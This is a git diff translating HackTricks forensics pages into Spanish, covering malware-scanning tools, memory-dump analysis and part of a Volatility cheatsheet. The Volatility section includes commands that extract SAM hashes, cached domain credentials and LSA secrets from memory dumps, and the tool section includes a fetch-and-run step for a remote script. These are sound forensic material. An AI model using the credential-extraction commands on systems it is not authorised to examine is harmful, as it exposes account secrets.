-14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Herramientas de Antivirus y Detección Offline ### Yara -#### Install - +#### Instalar ```bash sudo apt-get install -y yara ``` +#### Preparar reglas -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Usa este script para descargar y fusionar todas las reglas de malware yara de github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea el directorio _**rules**_ y ejecútalo. Esto creará un archivo llamado _**malware_rules.yar**_ que contiene todas las reglas yara para malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Escanear ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Verificar malware y crear reglas -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Puedes usar la herramienta [**YaraGen**](https://github.com/Neo23x0/yarGen) para generar reglas yara a partir de un binario. Consulta estos tutoriales: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Instalar ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Escanear ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** detecta **capacidades** potencialmente maliciosas en ejecutables: PE, ELF, .NET. Así que encontrará cosas como tácticas de Att\&ck, o capacidades sospechosas como: -- check for OutputDebugString error -- run as a service -- create process +- verificar el error de OutputDebugString +- ejecutarse como un servicio +- crear proceso -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Consíguelo en el [**repositorio de Github**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC significa Indicador de Compromiso. Un IOC es un conjunto de **condiciones que identifican** algún software potencialmente no deseado o **malware** confirmado. Los Blue Teams utilizan este tipo de definición para **buscar este tipo de archivos maliciosos** en sus **sistemas** y **redes**.\ +Compartir estas definiciones es muy útil, ya que cuando se identifica malware en una computadora y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Una herramienta para crear o modificar IOCs es [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Puedes usar herramientas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **buscar IOCs definidos en un dispositivo**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) es un escáner para Indicadores Simples de Compromiso.\ +La detección se basa en cuatro métodos de detección: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) es un escáner de malware para Linux lanzado bajo la licencia GNU GPLv2, que está diseñado en torno a las amenazas que enfrentan los entornos de alojamiento compartido. Utiliza datos de amenazas de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para la detección. Además, los datos de amenazas también se derivan de las presentaciones de los usuarios con la función de pago de LMD y recursos de la comunidad de malware. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Herramientas como [**rkhunter**](http://rkhunter.sourceforge.net) se pueden utilizar para verificar el sistema de archivos en busca de posibles **rootkits** y malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) es una herramienta que intentará encontrar cadenas ofuscadas dentro de ejecutables utilizando diferentes técnicas. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algunas cosas básicas dentro del ejecutable (datos binarios, entropía, URLs e IPs, algunas reglas de yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) es una herramienta que permite obtener información de ejecutables de Windows como importaciones, exportaciones, encabezados, pero también verificará virus total y encontrará técnicas potenciales de Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) es una herramienta para detectar si un archivo está **encriptado** y también encontrar **empaquetadores**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) es un script de Python que utiliza una variedad de **métodos estadísticos** para detectar contenido **ofuscado** y **encriptado** dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la **detección de código de shell web oculto**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) hace su mejor esfuerzo para detectar **código ofuscado**/**sospechoso** así como archivos que utilizan funciones de **PHP** a menudo usadas en **malwares**/webshells. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Al revisar alguna **muestra de malware** siempre debes **verificar la firma** del binario ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Técnicas de Detección -## Detection Techniques +### Apilamiento de Archivos -### File Stacking +Si sabes que alguna carpeta que contiene los **archivos** de un servidor web fue **actualizada por última vez en alguna fecha**. **Verifica** la **fecha** en que todos los **archivos** en el **servidor web** fueron creados y modificados, y si alguna fecha es **sospechosa**, revisa ese archivo. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Líneas Base -### Baselines +Si los archivos de una carpeta **no deberían haber sido modificados**, puedes calcular el **hash** de los **archivos originales** de la carpeta y **compararlos** con los **actuales**. Cualquier cosa modificada será **sospechosa**. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### Análisis Estadístico -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Cuando la información se guarda en registros, puedes **verificar estadísticas como cuántas veces se accedió a cada archivo de un servidor web, ya que un shell web podría ser uno de los más**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..6029174e4 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Análisis de volcado de memoria {{#include ../../../banners/hacktricks-training.md}} -
+## Comenzar -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Comienza **buscando** **malware** dentro del pcap. Usa las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md). ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility es el principal marco de código abierto para el análisis de volcado de memoria**. Esta herramienta de Python analiza volcados de fuentes externas o máquinas virtuales de VMware, identificando datos como procesos y contraseñas basados en el perfil del SO del volcado. Es extensible con plugins, lo que la hace altamente versátil para investigaciones forenses. -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**Encuentra aquí una hoja de trucos**](volatility-cheatsheet.md) -## Mini dump crash report +## Informe de fallo de mini volcado -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB), entonces probablemente sea un informe de fallo de mini volcado y no un volcado de memoria. ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Si tienes Visual Studio instalado, puedes abrir este archivo y vincular información básica como el nombre del proceso, arquitectura, información de excepciones y módulos que se están ejecutando: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +También puedes cargar la excepción y ver las instrucciones decompiladas ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +De todos modos, Visual Studio no es la mejor herramienta para realizar un análisis en profundidad del volcado. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profundidad**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..2f7e494fa 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +Si necesitas una herramienta que automatice el análisis de memoria con diferentes niveles de escaneo y ejecute múltiples plugins de Volatility3 en paralelo, puedes usar autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Si quieres algo **rápido y loco** que lanzará varios plugins de Volatility en paralelo, puedes usar: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## Instalación ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} -{{#tab name="Method 2"}} - +{{#tab name="Método 2"}} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Comandos de Volatility -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Accede a la documentación oficial en [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### Una nota sobre los plugins “list” vs. “scan” -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility tiene dos enfoques principales para los plugins, que a veces se reflejan en sus nombres. Los plugins “list” intentarán navegar a través de las estructuras del Kernel de Windows para recuperar información como procesos (localizar y recorrer la lista enlazada de estructuras `_EPROCESS` en memoria), manejadores del SO (localizando y listando la tabla de manejadores, desreferenciando cualquier puntero encontrado, etc.). Se comportan más o menos como lo haría la API de Windows si se le solicitara, por ejemplo, listar procesos. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +Eso hace que los plugins “list” sean bastante rápidos, pero igual de vulnerables a la manipulación por malware que la API de Windows. Por ejemplo, si el malware utiliza DKOM para desvincular un proceso de la lista enlazada `_EPROCESS`, no aparecerá en el Administrador de Tareas ni en el pslist. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +Los plugins “scan”, por otro lado, adoptarán un enfoque similar a la extracción de memoria para cosas que podrían tener sentido cuando se desreferencian como estructuras específicas. `psscan`, por ejemplo, leerá la memoria e intentará crear objetos `_EPROCESS` a partir de ella (utiliza escaneo de etiquetas de pool, que busca cadenas de 4 bytes que indican la presencia de una estructura de interés). La ventaja es que puede recuperar procesos que han salido, e incluso si el malware manipula la lista enlazada `_EPROCESS`, el plugin aún encontrará la estructura en memoria (ya que aún necesita existir para que el proceso se ejecute). La desventaja es que los plugins “scan” son un poco más lentos que los plugins “list”, y a veces pueden generar falsos positivos (un proceso que salió hace demasiado tiempo y tuvo partes de su estructura sobrescritas por otras operaciones). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## Perfiles de SO ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Como se explica en el readme, necesitas poner la **tabla de símbolos del SO** que deseas soportar dentro de _volatility3/volatility/symbols_.\ +Los paquetes de tablas de símbolos para los diversos sistemas operativos están disponibles para **descarga** en: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Perfil Externo +Puedes obtener la lista de perfiles soportados haciendo: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Si deseas usar un **nuevo perfil que has descargado** (por ejemplo, uno de linux) necesitas crear en algún lugar la siguiente estructura de carpetas: _plugins/overlays/linux_ y poner dentro de esta carpeta el archivo zip que contiene el perfil. Luego, obtén el número de los perfiles usando: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Puedes **descargar perfiles de Linux y Mac** de [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +En el fragmento anterior, puedes ver que el perfil se llama `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, y puedes usarlo para ejecutar algo como: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### Descubrir Perfil ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **Diferencias entre imageinfo y kdbgscan** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**Desde aquí**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A diferencia de imageinfo, que simplemente proporciona sugerencias de perfil, **kdbgscan** está diseñado para identificar positivamente el perfil correcto y la dirección KDBG correcta (si es que hay múltiples). Este plugin escanea las firmas KDBGHeader vinculadas a los perfiles de Volatility y aplica verificaciones de sensatez para reducir los falsos positivos. La verbosidad de la salida y el número de verificaciones de sensatez que se pueden realizar dependen de si Volatility puede encontrar un DTB, así que si ya conoces el perfil correcto (o si tienes una sugerencia de perfil de imageinfo), asegúrate de usarlo desde . +Siempre revisa el **número de procesos que kdbgscan ha encontrado**. A veces, imageinfo y kdbgscan pueden encontrar **más de uno** **perfil** adecuado, pero solo el **válido tendrá algún proceso relacionado** (Esto se debe a que para extraer procesos se necesita la dirección KDBG correcta). ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,234 +120,189 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. - -## OS Information +El **bloque de depuración del kernel**, conocido como **KDBG** por Volatility, es crucial para las tareas forenses realizadas por Volatility y varios depuradores. Identificado como `KdDebuggerDataBlock` y del tipo `_KDDEBUGGER_DATA64`, contiene referencias esenciales como `PsActiveProcessHead`. Esta referencia específica apunta a la cabeza de la lista de procesos, lo que permite listar todos los procesos, lo cual es fundamental para un análisis exhaustivo de la memoria. +## Información del SO ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +El plugin `banners.Banners` se puede usar en **vol3 para intentar encontrar banners de linux** en el volcado. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hashes/Contraseñas -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +Extraer hashes SAM, [credenciales en caché de dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) y [secretos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Volcado de Memoria +El volcado de memoria de un proceso **extraerá todo** el estado actual del proceso. El módulo **procdump** solo **extraerá** el **código**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## Procesos -​ +### Listar procesos -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Intenta encontrar procesos **sospechosos** (por nombre) o **inesperados** procesos **hijos** (por ejemplo, un cmd.exe como hijo de iexplorer.exe).\ +Podría ser interesante **comparar** el resultado de pslist con el de psscan para identificar procesos ocultos. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} -### Dump proc +### Volcado de proc {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### Línea de comandos -Anything suspicious was executed? +¿Se ejecutó algo sospechoso? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +Los comandos ejecutados en `cmd.exe` son gestionados por **`conhost.exe`** (o `csrss.exe` en sistemas anteriores a Windows 7). Esto significa que si **`cmd.exe`** es terminado por un atacante antes de que se obtenga un volcado de memoria, aún es posible recuperar el historial de comandos de la sesión desde la memoria de **`conhost.exe`**. Para hacer esto, si se detecta actividad inusual dentro de los módulos de la consola, se debe volcar la memoria del proceso asociado **`conhost.exe`**. Luego, al buscar **strings** dentro de este volcado, se pueden extraer potencialmente las líneas de comando utilizadas en la sesión. -### Environment +### Entorno -Get the env variables of each running process. There could be some interesting values. +Obtén las variables de entorno de cada proceso en ejecución. Podría haber algunos valores interesantes. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### Privilegios de token -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +Verifique los tokens de privilegios en servicios inesperados.\ +Podría ser interesante listar los procesos que utilizan algún token privilegiado. {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +Verifique cada SSID propiedad de un proceso.\ +Podría 